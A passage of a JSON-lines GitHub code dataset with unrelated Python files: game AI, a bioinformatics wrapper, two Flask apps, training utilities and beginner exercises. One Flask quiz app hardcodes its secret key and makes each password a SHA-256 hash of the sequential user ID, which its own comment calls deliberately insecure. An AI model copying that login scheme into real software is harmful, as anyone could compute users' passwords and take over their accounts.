move of form ((x,x),(y,y,)) or ((x,x),0)\n        if player_num == 1: enemy_num = 2\n        else: enemy_num = 1\n        # Cannon shot -> XOR the enemey's position\n        print(f\"move in tt {move}\")\n        if move[1] == 0:\n            key = key ^ self.z_table[move[0][0]][move[0][1]][enemy_num-1]\n        # Capture move -> XOR enemey's position, players old position, players new position\n        elif capture_bool:\n            key = key ^ self.z_table[move[0][0]][move[0][1]][enemy_num-1]\n            key = key ^ self.z_table[move[0][0]][move[0][1]][player_num-1]\n            key = key ^ self.z_table[move[1][0]][move[1][1]][player_num-1]\n        # Normal move -> XOR players old position, players new position\n        else:\n            self.z_key = self.z_key ^ self.z_table[move[0][0]][move[0][1]][player_num-1]\n            self.z_key = self.z_key ^ self.z_table[move[1][0]][move[1][1]][player_num-1]\n        return key\n\n    def retrieve(self, key, move, player_num, capture_bool):\n        if move:\n            move = move[-2:]\n            key = self.update_key(key, move, player_num, capture_bool)\n            return self.t_table.get(key)\n\n    def store(self, bestMove, bestValue, flag, depth, key, move, player_num, capture_bool):\n        key = self.update_key(key, move, player_num, capture_bool)\n        self.t_table[key] = TT_entry(bestMove, bestValue, flag, depth)\n\nclass TT_entry():\n    def __init__(self, bestMove, bestValue, flag, depth):\n        self.move = bestMove\n        self.value = bestValue\n        self.flag = flag\n        self.depth = depth\n\n","repo_name":"DanielRoeder1/cannon_ai","sub_path":"AlphaBeta/transposition_table.py","file_name":"transposition_table.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13056095546","text":"__author__ = \"Dohoon Lee\"\r\n__copyright__ = \"Copyright 2018, Dohoon Lee\"\r\n__email__ = \"dohlee.bioinfo@gmail.com\"\r\n__license__ = \"MIT\"\r\n\r\n\r\nimport os\r\n\r\nfrom snakemake.shell import shell\r\n\r\ndef is_defined_by_user(*params):\r\n    extra = snakemake.params.get('extra', '')\r\n    for param in params:\r\n        if param in extra:\r\n            return True\r\n    return False\r\n\r\ndef optionify_params(parameter, option):\r\n    \"\"\"Return optionified parameter.\"\"\"\r\n    try:\r\n        if str(snakemake.params[parameter]) == '':\r\n            return ''\r\n        else:\r\n            return option + ' ' + str(snakemake.params[parameter])\r\n    except AttributeError:\r\n        return ''\r\n\r\n# Extract log.\r\nlog = snakemake.log_fmt_shell(stdout=False, stderr=True)\r\n\r\n# Extract parameters.\r\nextra = snakemake.params.get('extra', '')\r\n\r\n# Extract required inputs.\r\ncopy_ratio = snakemake.input.copy_ratio\r\nsegment = snakemake.input.segment\r\n\r\n# Extract required outputs.\r\noutput_pdf = snakemake.output\r\n\r\n# Extract optional parameters.\r\nuser_parameters = []\r\nuser_parameters.append(optionify_params('segment_color', '--segment-color'))\r\nuser_parameters.append(optionify_params('title', '--title'))\r\nuser_parameters = ' '.join(user_parameters)\r\n\r\n# Execute shell command.\r\nshell(\r\n    \"(\"\r\n    \"cnvkit.py scatter {copy_ratio} \"\r\n    \"--segment {segment} \"\r\n    \"--output {output_pdf} \"\r\n    \"{user_parameters} \"\r\n    \"{extra} \"\r\n    \") \"\r\n    \"{log}\"\r\n)\r\n","repo_name":"dohlee/snakemake-wrappers","sub_path":"cnvkit/scatter/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"22"}
+{"seq_id":"30326446994","text":"import re\nf=re.escape(') (')\nc=['a','b','c','d','e']\nn,m=map(int,input().split())\ncount=[[0,0,0,0,0] for i in range(m)]\nscore=[]\nanswer=[]\nfor i in range(m):\n    s=input().split()\n    score.append(int(s[0]))\n    answer.append(s[3:])\nfor i in range(n):\n    a=input()\n    k=0\n    b=re.split(f,a[1:len(a)-1])\n    b=[i.split() for i in b]\n    for i in range(m):\n        if b[i][1:]==answer[i]:\n            k+=score[i]\n        else:\n            flag=0\n            for j in b[i][1:]:\n                if j not in answer[i]:\n                    flag=1\n                    index=c.index(j)\n                    count[i][index]+=1\n            if flag==0:\n                k+=0.5*score[i]\n    print('{:.1f}'.format(k))\nif max(count)==[0,0,0,0,0]:\n    print('Too simple')\nelse:\n    times=0\n    for i in range(m):\n        l=max(count[i])\n        if l>times:\n            times=l\n    for i in range(m):\n        for j in range(5):\n            if count[i][j]==times:\n                print('{} {}-{}'.format(times,i+1,c[j]))\n\n\n\n\n    \n                    \n                \n                     \n    \n    \n    \n    \n    \n            \n                \n\n        \n        \n        \n        \n\n    \n        \n","repo_name":"zylzlh/PAT","sub_path":"14th day/1073.py","file_name":"1073.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"42438898382","text":"from flask import Flask, request, jsonify, stream_with_context, json, render_template\nimport logging as log\nimport gpt\nimport detector\nfrom flask_cors import CORS\nfrom flask_socketio import SocketIO, emit\n\n\napp = Flask(__name__)\nCORS(app, origins=['http://127.0.0.1:8000', ' http://127.0.0.1:8081',\n     'http://localhost:8081'], supports_credentials=True, methods=['GET', 'POST'])\nsocketio = SocketIO(engineio_logger=True)\nsocketio.init_app(app, cors_allowed_origins=\"*\",\n                  async_mode='threading', transports=['websocket'])\npath = \"./source/prompt.txt\"\n\npreprocessor = gpt.PreProcessor(path)\n\ndef process_messages(chat_id: str, messages: list[dict[str, str]], stream: bool = False):\n    det = detector.Detector()\n    if det.detect_list([x['text'] for x in messages]):\n        log.info(\"Detected keywords, not sending to GPT-3\")\n        return jsonify({\n            \"chat_id\": 'System',\n            \"warning\": \"Detected keywords, not sending to GPT-3\"\n        })\n    preprocessor.add_messages(messages)\n    preprocessor.prepare_prompt()\n\n    chunks = preprocessor.askAI(stream=stream)\n    return chunks\n\n@app.route('/')\ndef index():\n    print(\"Sucessfully connected to server\")\n    return 'hello world'\n\n@app.route('/api/gpt3', methods=['POST'])\ndef gpt3():\n\n    body = request.get_json()\n    messages = body['messages']\n    chat_id = body['chat_id']\n\n    print(f\"Chat ID: {chat_id}\\n\")\n    print(f\"Received messages: \\n{messages}\")\n\n    chunks = process_messages(chat_id, messages, stream=True)\n\n    def generate():\n        for chunk in chunks:\n            # print(f\"Chunk: \\n{chunk}\")\n            resp = {\n                \"chat_id\": chat_id,\n                \"message\": chunk\n            }\n            yield json.dumps(resp) + \"\\n\"\n\n    return app.response_class(stream_with_context(generate()))\n\ndef gpt3_single():\n\n    body = request.get_json()\n\n    messages = body['messages']\n    chat_id = body['chat_id']\n\n    print(f\"Chat ID: {chat_id}\\n\")\n    print(f\"Received messages: \\n{messages}\")\n\n    det = detector.Detector()\n    if det.detect_list([x['text'] for x in messages]):\n        log.info(\"Detected keywords, not sending to GPT-3\")\n        return jsonify({\n            \"chat_id\": chat_id,\n            \"warning\": \"Detected keywords, not sending to GPT-3\"\n        })\n    message: str = gpt.prepare_data(messages)\n    response: dict[str, str] = gpt.askAI(message)\n\n    log.info(\"Response: \\n\" + str(response))\n    return jsonify({\n        \"chat_id\": chat_id,\n        \"message\": response\n    })\n\n@app.route('/api/feedback', methods=['POST'])\ndef feedback():\n    body = request.get_json()\n    message = body['message']\n    chat_id = body['chat_id']\n    usr_id = body['usr_id']\n    log.info(\"Feedback received from user {usr_id} in chat {chat_id}: \\n{message}\"\n             .format(usr_id=usr_id, chat_id=chat_id, message=message))\n\n@app.route('/ping', methods=['GET'])\ndef ping():\n    pong = gpt.ping()\n    return jsonify(pong)\n\n@app.route('/ping/stream', methods=['GET'])\ndef ping_stream():\n    pong = gpt.ping_stream()\n\n    def generate():\n        for chunk in pong:\n            resp = {\n                \"chat_id\": \"ping\",\n                \"message\": chunk\n            }\n            yield json.dumps(resp) + \"\\n\"\n    return app.response_class(stream_with_context(generate()))\n\n# websocket\n\n\n@socketio.on('connect', namespace='/websocket')\ndef connect(data):\n    usr_id = data['usr_id']\n    log.info(\"Client connected: {usr_id}\".format(usr_id=usr_id))\n    emit('response', {'data': 'Connected', 'count': 0})\n\n# websocket\n@socketio.on('message')\ndef message(data):\n    print(f\"\\n\\n{data}\\n\\n\")\n    # feed data to GPT-3\n    messages = data['messages']\n    chat_id = data['chat_id']\n\n    chunks = process_messages(chat_id, messages)\n    # send data to client\n    for chunk in chunks:\n        resp = {\n            \"chat_id\": chat_id,\n            \"response\": chunk\n        }\n        emit('message', resp, broadcast=True)\n\n# websocket\n@socketio.on('disconnect')\ndef disconnect():\n    log.info(\"Client disconnected\")\n\nif __name__ == '__main__':\n    log.basicConfig(level=log.INFO)\n    log.info(\"Starting server\")\n    app.run(host='localhost', port=8000, debug=True)\n    # socketio.run(app, host='127.0.0.1', port=9000, debug=True)","repo_name":"MaboroshiChan/flask-chat","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"23708506398","text":"import pygame\r\n\r\nfrom Monster import Monster\r\n\r\n\r\nclass Zombie(Monster):\r\n    def __init__(self, x, y):\r\n        super().__init__(x, y)\r\n        self.max_health = 25\r\n        self.health = 25\r\n        self.image = pygame.image.load('C:\\\\Users\\\\DorYaron\\\\Desktop\\\\MageJourney\\\\MobliePics\\\\Zombie.png')","repo_name":"doryaro/MageJourney-Game","sub_path":"Zombie.py","file_name":"Zombie.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42719594415","text":"import os \nimport numpy as np \nimport pandas as pd\nimport shutil\nimport pickle \nfrom tqdm import tqdm \n\nfiles = os.listdir(\"../storage/FGH_spec_ind_claims_triplet_v0.3.1\") \n\ntrain_files = files[:900000] \nvalid_files = files[900000:950000]\ntest_files = files[950000:] \n\nfor i in tqdm(range(len(train_files)), desc=\"Splitting for train files\"):\n    with open(\"../storage/FGH_spec_ind_claims_triplet_v0.3.1/\" + train_files[i], \"r\") as f:\n        data = f.read() \n    with open(\"../storage/train_spec/\" + train_files[i], \"w\") as f:\n        f.write(data)  \n        \nfor i in tqdm(range(len(valid_files)), desc=\"Splitting for valid files\"):\n    with open(\"../storage/FGH_spec_ind_claims_triplet_v0.3.1/\" + valid_files[i], \"r\") as f:\n        data = f.read() \n    with open(\"../storage/valid_spec/\" + valid_files[i], \"w\") as f: \n        f.write(data)  \n        \nfor i in tqdm(range(len(test_files)), desc=\"Splitting for test files\"): \n    with open(\"../storage/FGH_spec_ind_claims_triplet_v0.3.1/\" + test_files[i], \"r\") as f: \n        data = f.read() \n    with open(\"../storage/test_spec/\" + test_files[i], \"w\") as f: \n        f.write(data) \n    \nprint(\"done!\") \n","repo_name":"puzzlecollector/patent_similarity_experiments","sub_path":"august_experiments/split_spec_data.py","file_name":"split_spec_data.py","file_ext":"py","file_size_in_byte":1155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"14823417479","text":"from flask import *\nfrom flask_mail import Mail, Message\nimport sqlite3\nimport os\nimport hashlib\n\napp = Flask(__name__)\n\n'''configs'''\napp.config['MAIL_SERVER']='smtp.gmail.com'\n#default mail port is 25\napp.config['MAIL_PORT'] = 465\napp.config['MAIL_USERNAME'] = os.environ.get(\"SECRET_MAIL\",\"\")\napp.config['MAIL_PASSWORD'] = os.environ.get(\"SECRETPASS\",\"\")\napp.config['MAIL_USE_TLS'] = False\napp.config['MAIL_USE_SSL'] = True\n#os.urandom(12).hex()\napp.config['SECRET_KEY'] = 'f3cfe9ed8fae309f02079dbf'\n\nmail = Mail(app) #start Mail class\n\n#home page\n@app.route(\"/index\")\ndef index():\n    try:\n        curr_user = session['curr_user_email']\n    except:\n        return redirect(url_for(\"unauthorised\"))\n    return render_template('index.html')\n\n#default login page\n@app.route(\"/\", methods=[\"GET\",\"POST\"])\ndef login():\n    if request.method == 'POST':\n        e = sqlite3.connect('data1.db')\n        c = e.cursor()\n        email_link = str(request.form.get('email'))\n        pwd = str(request.form.get('pwd'))\n\n        if not pwd: #user forgets to enter password\n            return render_template_string('''\n                <html>\n                    <head>\n                        <meta http-equiv=\"refresh\" content=\"2;url=/\" />\n                    </head>\n                    <body>\n                    <style>\n                        .alert {\n                          padding: 20px;\n                          background-color: #383486;\n                          color: white;\n                          font-family: sans-serif;\n                        }\n                    </style>\n                    <div class=\"alert\">\n                        <h1>You did not enter your password! Please try again.</h1>\n                        <h2>Redirecting in 2 seconds...</h2>\n                    </div>\n                    </body>\n                </html>\n            ''')\n\n        check = c.execute('''SELECT UserID,Password,Email From User WHERE Password=? AND Email=?''',(pwd,email_link,))\n        check = check.fetchall()\n        e.commit()\n        c.close()\n        print(check)\n        if check != []: #user enters correct password\n            session['curr_user_email'] = email_link\n            session['pwd'] = str(check[0][0])\n            return render_template_string(\"\"\"\n                <html>\n                    <head>\n                        <meta http-equiv=\"refresh\" content=\"2;url=/index\" />\n                    </head>\n                    <body>\n                        <style>\n                            .alert {\n                              padding: 20px;\n                              background-color: #00b966;\n                              color: white;\n                              font-family: sans-serif;\n                            }\n                        </style>\n                        <div class=\"alert\">\n                            <h1>Logged in successfully with {{ email_link }}! Redirecting in 2 seconds...</h1>\n                        </div>\n                    </body>\n                </html>\n            \"\"\", email_link=email_link)\n        else: #user enters wrong password\n            return render_template_string('''\n                <html>\n                    <head>\n                        <meta http-equiv=\"refresh\" content=\"2;url=/\" />\n                    </head>\n                    <body>\n                        <style>\n                            .alert {\n                              padding: 20px;\n                              background-color: #d05e00;\n                              color: white;\n                              font-family: sans-serif;\n                            }\n                        </style>\n                        <div class=\"alert\">\n                            <h1>You entered your password wrongly! Please try again.</h1>\n                            <h2>Redirecting in 2 seconds...</h2>\n                        </div>\n                    </body>\n                </html>\n            ''')\n\n    else:\n        return render_template('login.html')\n\n#new user registering, re-routed from login\n@app.route(\"/register\", methods=[\"GET\",\"POST\"])\ndef register():\n    e = sqlite3.connect('data1.db')\n    c = e.cursor()\n    if request.method == \"POST\":\n        email_link = str(request.form.get('email'))\n        print(\"Email\",email_link)\n\n        #check for existing user\n        instr = c.execute('''SELECT Password From User WHERE Email=?''',(email_link,))\n        codedata = instr.fetchall()\n        print(\"yes\",codedata)\n        if codedata == [] or not codedata[0]: #if new user registering\n            c.execute('''INSERT INTO User(Email) VALUES(?)''',(email_link,))\n            #getting id\n            tem = c.execute('''SELECT UserID,Email From User WHERE Email=?''',(email_link,))\n            instr = tem.fetchall()\n            print(\"oof\",instr)\n            userpwd = str(instr[0][0])\n            userpwd = str(hashlib.sha256(userpwd.encode()).hexdigest())\n            c.execute('''Update User SET Password=? WHERE Email=?''',(userpwd,email_link,))\n            e.commit()\n        else:\n            userpwd = codedata[0][0]\n\n\n        #Sending of emails to the selected user accounts\n        msg = Message('MCQ App Login',\n                    sender='dante.mossfield@gmail.com')\n        msg.recipients=[email_link]\n\n        msg.body = 'Here is your password, \\n'+str(userpwd)+'\\nThe password is deliberately made insecure, take care of it.'\n        mail.send(msg)\n        return render_template_string('''\n            <html>\n                <head>\n                    <meta http-equiv=\"refresh\" content=\"3;url=/\" />\n                </head>\n                <body>\n                    <style>\n                        .alert {\n                          padding: 20px;\n                          background-color: #00a8a3;\n                          color: white;\n                          font-family: sans-serif;\n                        }\n                    </style>\n                    <div class=\"alert\">\n                        <h1>Your password has been sent successfully via email to {{ email_link }}</h1>\n                        <h2>Check your email</h2>\n                        <h2>Redirecting in 3 seconds...</h2>\n                    </div>\n                </body>\n            </html>\n        ''', email_link = email_link)\n\n    else:\n        c.close()\n        return render_template('register.html')\n\n\n@app.route(\"/cyber\")\ndef cyber():\n    try:\n        curr_user = session['curr_user_email']\n    except:\n        return redirect(url_for(\"unauthorised\"))\n    return render_template('cyber.html')\n\n#prevent users who are not logged in from accessing\n@app.route(\"/unauthorised\")\ndef unauthorised():\n    return render_template_string('''\n        <html>\n            <head>\n                <meta http-equiv=\"refresh\" content=\"3;url=/\" />\n            </head>\n            <body>\n                <style>\n                    .alert {\n                      padding: 20px;\n                      background-color: #b34507;\n                      color: white;\n                      font-family: sans-serif;\n                    }\n                </style>\n                <div class=\"alert\">\n                    <h1>Unauthorised user. You have yet to log in</h1>\n                    <h2>We will be redirecting you to the log-in page in 3 seconds...</h2>\n                </div>\n            </body>\n        </html>\n    ''')\n\n@app.route(\"/algo\", methods=[\"GET\",\"POST\"])\ndef algo():\n\n    #extracting current user details\n    if request.method == \"POST\":\n        #open database only when authorised\n        e = sqlite3.connect('data1.db')\n        c = e.cursor()\n\n        response = []\n        #correction = dict() #dict to store the user and actual answer\n        for i in range(4):\n            chosen = 'algo_answer'+str(i)\n            print(\"algoans\",str(request.form.get(chosen)))\n            response.append(str(request.form.get(chosen)))\n        total = 5*int(len(response))\n        score = 0\n        count = 0\n\n        #retrieving intended answers\n        answer = session['answer']\n        curr_user = session['curr_user_email']\n\n        #calculation of scores\n        while count<len(response):\n            if response[count] == answer[count]:\n                score+=5\n            count+=1\n\n        #storing of answers for display\n        session['response'] = response\n        session['score'] = score\n\n        id = session['pwd']\n\n        #storing of highest scores in the database\n        ins = c.execute('''SELECT NumAttempts, HighestScore FROM Attempt WHERE USERID=?''',(id,))\n        vals = ins.fetchall()\n        print(\"oof\",vals)\n\n        if vals != []: #user had multiple attempts\n            numattempts = vals[0][0]\n            numattempts+=1\n\n            highestscore = vals[0][1]\n\n            #highest score lower than current score\n            if highestscore < score:\n                highestscore = score\n                c.execute('''UPDATE Attempt SET HighestScore=?, NumAttempts=? WHERE UserID=?''',(highestscore,numattempts,id,))\n            else: #current score lower than highest score\n                c.execute('''UPDATE Attempt SET NumAttempts=? WHERE UserID=?''',(numattempts,id,))\n\n        else: #no previous attempt\n            highestscore = score\n            numattempts = 1\n            c.execute('''INSERT INTO Attempt(UserID,HighestScore,NumAttempts,Email) VALUES(?,?,?,?)''',(id,highestscore,numattempts,curr_user,))\n\n\n        e.commit()\n        c.close()\n        return redirect(url_for(\"score\"))\n\n    else:\n        try:\n            curr_user = session['curr_user_email']\n        except:\n            return redirect(url_for(\"unauthorised\"))\n\n        e = sqlite3.connect('data1.db')\n        c = e.cursor()\n        name = curr_user.split(\"@\")[0].split(\".\")[1].upper() #extracting name\n\n        #getting questions\n        instr = c.execute('''SELECT QuestionText,Option1,Option2,Answer From Question ORDER BY RANDOM() LIMIT 4''')\n        codedata = instr.fetchall()\n        questions = []\n        options1 = []\n        options2 = []\n        answer = []\n        for k in range(len(codedata)):\n            questions.append(codedata[k][0])\n            options1.append(codedata[k][1])\n            options2.append(codedata[k][2])\n            answer.append(codedata[k][3])\n\n        #store options for mcq questions\n        session['answer'] = answer\n        session['questions'] = questions\n        session['options1'] = options1\n        session['options2'] = options2\n\n        e.commit()\n        c.close()\n        return render_template('algo.html',curr_user=curr_user, name=name,questions=questions, options1=options1, options2=options2,answer = answer)\n\n@app.route(\"/score\")\ndef score():\n    try:\n        curr_user = session['curr_user_email']\n    except:\n        return redirect(url_for(\"unauthorised\"))\n\n    #getting current user stats\n    curr_score = session['score']\n    curr_user = session['curr_user_email']\n    name = curr_user.split(\"@\")[0].split(\".\")[1].upper() #extracting name\n    answer = session['answer']\n    questions = session['questions']\n    response = session['response']\n    options1 = session['options1']\n    options2 = session['options2']\n\n    wrong = []\n    correct = []\n    #extracting wrong answers\n    for k in range(len(response)):\n        if answer[k] != response[k]:\n            if answer[k] == \"Option1\": #adding corresponding answers\n                wrong.append([questions[k],options2[k],options1[k]])\n            else:\n                wrong.append([questions[k],options1[k],options2[k]])\n        else:\n            correct.append([questions[k],response[k],answer[k]])\n\n    return render_template('score.html', curr_score = curr_score, curr_user = curr_user, name=name, wrong=wrong)\n\n@app.route(\"/leaderboard\")\ndef leaderboard():\n    try:\n        curr_user = session['curr_user_email']\n    except:\n        return redirect(url_for(\"unauthorised\"))\n\n    e = sqlite3.connect('data1.db')\n    c = e.cursor()\n    instr = c.execute('''SELECT Email, HighestScore, NumAttempts FROM Attempt ORDER BY HighestScore DESC,NumAttempts ASC LIMIT 10''')\n    winners = instr.fetchall()\n    #changing all tuples to a list\n    print(winners[0])\n    finwinners = []\n    try: #nested array\n        for m in range(len(winners)):\n            finwinners.append([winners[m][0],winners[m][1],winners[m][2]])\n    except: #not nested array\n        for m in range(3):\n            finwinners.append([winners[m],winners[m],winners[m]])\n\n    print(finwinners)\n    for k in finwinners:\n        new = k[0]\n        k[0] = new.split(\"@\")[0].split(\".\")[1].upper()\n    numppl = len(finwinners)\n    return render_template('leaderboard.html',winners=finwinners, numppl=numppl)\n\nif __name__ == \"__main__\":\n    app.run(debug=\"True\")\n","repo_name":"ankolaver/20mputing_quiz","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74864986294","text":"i= 0\r\nwhile i<11:\r\n    print(i,end=',')\r\n    i+=1\r\nlist1 = [12,15,32,42,55,75,122,132,150,180,200]\r\nfor i in list1:\r\n    print(i)\r\n\r\ninput1 = int(input())\r\n\r\ni =0\r\nwhile i <11:\r\n    print(input1*i)\r\n    i+=1\r\ngrocery = ['bread','muilk','butter']\r\nfor i ,val in enumerate(grocery):\r\n    print(i,val)\r\nfact = int(input())\r\ni =0\r\nsum1=0\r\nwhile i < fact:\r\n    sum1+=i\r\n    print(sum1)\r\n    i+=1\r\nprint('----------------------------')\r\nnum = range(3,6)\r\nfor k in num:\r\n    print(k)\r\nprint('----------------------------')\r\nnum = list(range(3,20,2))\r\nprint(num)\r\nprint('----------------------------')\r\npy ='python'\r\nfor i in range(len(py)):\r\n    print(py[i],end='')","repo_name":"Crisfon6/Learning-IA-DPHI","sub_path":"week1/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"75102951094","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport numpy\nimport pandas\n\nfrom optimization.n_search import search\nfrom optimization.iteration import Iteration\nfrom optimization.model import create_optimization_model, solve_model\n\nfrom argsmanaging import args\nimport benchmarks\nimport training\nimport data_gen\nimport utils\n\n\ndef __log_iteration(it: Iteration, t):\n    form = \"$\"\n    source = \"$b#FOUND$\"\n    if it.has_failed:\n        form = \"$yellow#\"\n        source = \"$b#yellow#GENERATED$\"\n\n    utils.print_n(\"[OPT] Solution n. {:d} \" + source + \" in {:.3f}s:\", it.iter_n, t)\n\n    target_label = \"target error (log10)\"\n    error_label = \"calculated error (log10)\"\n    predicted_label = \"predicted error (log10)\"\n    utils.print_n(\"[OPT] $blue#{}$  |  $green#{}  {}$\", target_label, error_label, predicted_label)\n\n    pr = numpy.float_power(10, -it.get_predicted_error_log())\n\n    formatted = \"{:.3e} ({:.3f})\".format(args.error, -numpy.log10(args.error))\n    target = (\" \" * (len(target_label) - len(formatted))) + formatted\n    formatted = \"{:.3e} ({:.3f})\".format(it.get_error(), it.get_error_log())\n    error = (\" \" * (len(error_label) - len(formatted))) + formatted\n    formatted = \"{:.3e} ({:.3f})\".format(pr, it.get_predicted_error_log())\n    predicted = (\" \" * (len(predicted_label) - len(formatted))) + formatted\n    utils.print_n(\"[OPT] \" + form + \"{}  |  {}  {}$\", target, error, predicted)\n\n    state = \"$blue#FEASIBLE$\" if it.is_feasible else \"$red#NOT FEASIBLE$\"\n    utils.print_n(\"[OPT] Solution n. {:d} $b#cyan#{}$ is {}\", it.iter_n, it.config, state)\n    print()\n\n\ndef __get_predictions(config, regr, classifier):\n    conf_df = pandas.DataFrame.from_dict({'var_{}'.format(i): [config[i]] for i in range(len(config))})\n    prediction_with_conf = regr.predict(conf_df)[0]\n    class_pred_with_conf = classifier.predict(conf_df)[0]\n    return prediction_with_conf[0], class_pred_with_conf\n\n\ndef __iterate(bm: benchmarks.Benchmark, mdl, regressor, classifier, previous: Iteration):\n    utils.stop_w.start()\n\n    opt_config, prediction, class_prediction = solve_model(mdl, bm)\n    failed = False\n    if opt_config is None:\n        failed = True\n        opt_config = numpy.random.randint(args.min_bits_number, args.max_bits_number, bm.vars_number)\n        prediction, class_prediction = __get_predictions(opt_config, regressor, classifier)\n        prediction = float(prediction)\n        class_prediction = float(class_prediction)\n        opt_config = opt_config.tolist()\n\n    error = benchmarks.run_benchmark_with_config(bm, opt_config, args)\n    it = Iteration(opt_config, error, prediction, class_prediction, previous, failed)\n\n    _, t = utils.stop_w.stop()\n    __log_iteration(it, t)\n    return it\n\n\ndef build_and_run_model(bm: benchmarks.Benchmark, regressor, classifier, session: training.TrainingSession,\n                        max_iterations=100, log=None):\n    utils.stop_w.start()\n    mdl = create_optimization_model(bm, regressor, classifier)\n    _, t = utils.stop_w.stop()\n    utils.print_n(\"\\n[OPT] Created first draft of the opt model in {:.3f}s\\n\", t)\n\n    it = __iterate(bm, mdl, regressor, classifier, None)\n    current_attempt = 0\n    while current_attempt < args.steps and it.iter_n <= max_iterations:\n        utils.stop_w.start()\n        examples = data_gen.infer_examples_for_retraining(bm, session, it)\n        _, t = utils.stop_w.stop()\n        utils.print_n(\"[OPT] Inferred $green#{}$ more examples in {:.3f}s\", len(examples), t)\n\n        utils.stop_w.start()\n        session, r_stats, c_stats = data_gen.ml_refinement(bm, regressor, classifier, session, examples)\n        _, t = utils.stop_w.stop()\n        utils.print_n(\"[OPT] Retrained regressor (MAE $green#{:.3f}$) and classifier \"\n                      \"(accuracy $green#{:.3f}%$) in {:.3f}s\", r_stats['MAE'], c_stats['accuracy'] * 100, t)\n\n        if log is not None:\n            log.insert_iteration(it, r_stats, c_stats)\n\n        utils.stop_w.start()\n        mdl.end()\n        mdl = create_optimization_model(bm, regressor, classifier, it)\n        _, t = utils.stop_w.stop()\n        utils.print_n(\"[OPT] Refined opt model in {:.3f}s\\n\", t)\n\n        if args.manual_toggled:\n            input(\"[Press any button for next iteration]\\n\")\n\n        best, _ = it.best_config_and_error\n        if best is not None:\n            current_attempt += 1\n            utils.print_n(\"[OPT] $b#cyan#Extra attempt {}$\", current_attempt)\n\n        it = __iterate(bm, mdl, regressor, classifier, it)\n\n    best, _ = it.best_config_and_error\n\n    best = search(bm, session, best, log, args.search_version)\n\n    return best, it.iter_n - current_attempt\n","repo_name":"ACCIAI0/oprecomp_project","sub_path":"optimization/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74222351417","text":"from __future__ import absolute_import\r\nfrom __future__ import print_function\r\n\r\nimport os\r\n\r\nimport numpy as np\r\nfrom utils.tensorboard_logging import log_scalar\r\n\r\nfrom keras.callbacks import Callback\r\nimport keras.backend as K\r\n\r\n\r\nclass LearningRateScheduler(Callback):\r\n    \"\"\"Learning rate scheduler.\r\n\r\n    # Arguments\r\n        schedule: a function that takes an epoch index as input\r\n            (integer, indexed from 0) and current learning rate\r\n            and returns a new learning rate as output (float).\r\n        verbose: int. 0: quiet, 1: update messages.\r\n    \"\"\"\r\n\r\n    def __init__(self, schedule, tensorboard, init_epoch=0,verbose=0):\r\n        super(LearningRateScheduler, self).__init__()\r\n        self.schedule = schedule\r\n        self.verbose = verbose\r\n        self.step=0\r\n        self.epoch=init_epoch\r\n        self.tensorboard=tensorboard\r\n        self.lr=0.\r\n    def on_epoch_begin(self, epoch, logs=None):\r\n        self.epoch+=1\r\n        self.lr = self.schedule(self.epoch)\r\n        K.set_value(self.model.optimizer.lr, self.lr)\r\n        if self.verbose > 0:\r\n            print('\\nEpoch %05d: LearningRateScheduler setting learning '\r\n                  'rate to %.4f' % (self.epoch, self.lr))\r\n    def on_batch_end(self, batch, logs=None):\r\n        logs = logs or {}\r\n        logs['lr'] = K.get_value(self.model.optimizer.lr)\r\n\r\n    def on_batch_begin(self, batch, logs=None):\r\n        self.step+=1\r\n        log_scalar(self.tensorboard, 'learning rate', self.lr, self.step)\r\n\r\n","repo_name":"luogen1996/MCN","sub_path":"callbacks/learning_scheduler.py","file_name":"learning_scheduler.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"22"}
+{"seq_id":"14813655643","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[2]:\n\n\nimport pandas as pd\n\n\n# In[3]:\n\n\nimport numpy as np\n\n\n# In[4]:\n\n\nimport scipy.io\n\n\n# In[5]:\n\n\nimport matplotlib\n\n\n# In[6]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# In[7]:\n\n\nfrom sklearn.preprocessing import StandardScaler\n\n\n# In[8]:\n\n\nfrom sklearn.decomposition import PCA\n\n\n# In[9]:\n\n\nimport sklearn.decomposition as skdc\n\n\n# In[10]:\n\n\nfrom sklearn import linear_model, decomposition, datasets\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.model_selection import GridSearchCV\n\n\n# In[11]:\n\n\nfrom sklearn.model_selection import train_test_split\n\n\n# In[12]:\n\n\nimport seaborn as sns\n\n\n# In[13]:\n\n\nfrom sklearn.linear_model import LogisticRegression\n\n\n# In[14]:\n\n\n# Taken from: https://www.kaggle.com/stevebroll/logistic-regression-model-using-pca-components\ndef standardization(x): #Define function to standardize the data, since all variables are not in the same units\n    xmean = np.mean(x) ##calculate mean\n    sd = np.std(x) ##calculate standard deviation \n    x_z = (x - xmean) / sd ##calculate standardized value to return\n    return(x_z)\n\n\n# In[15]:\n\n\n# Step 1: Load in the most recent year of data into a data frame.\n#df = pd.read_csv(\"2015_data.csv\", low_memory = False)\ndf = 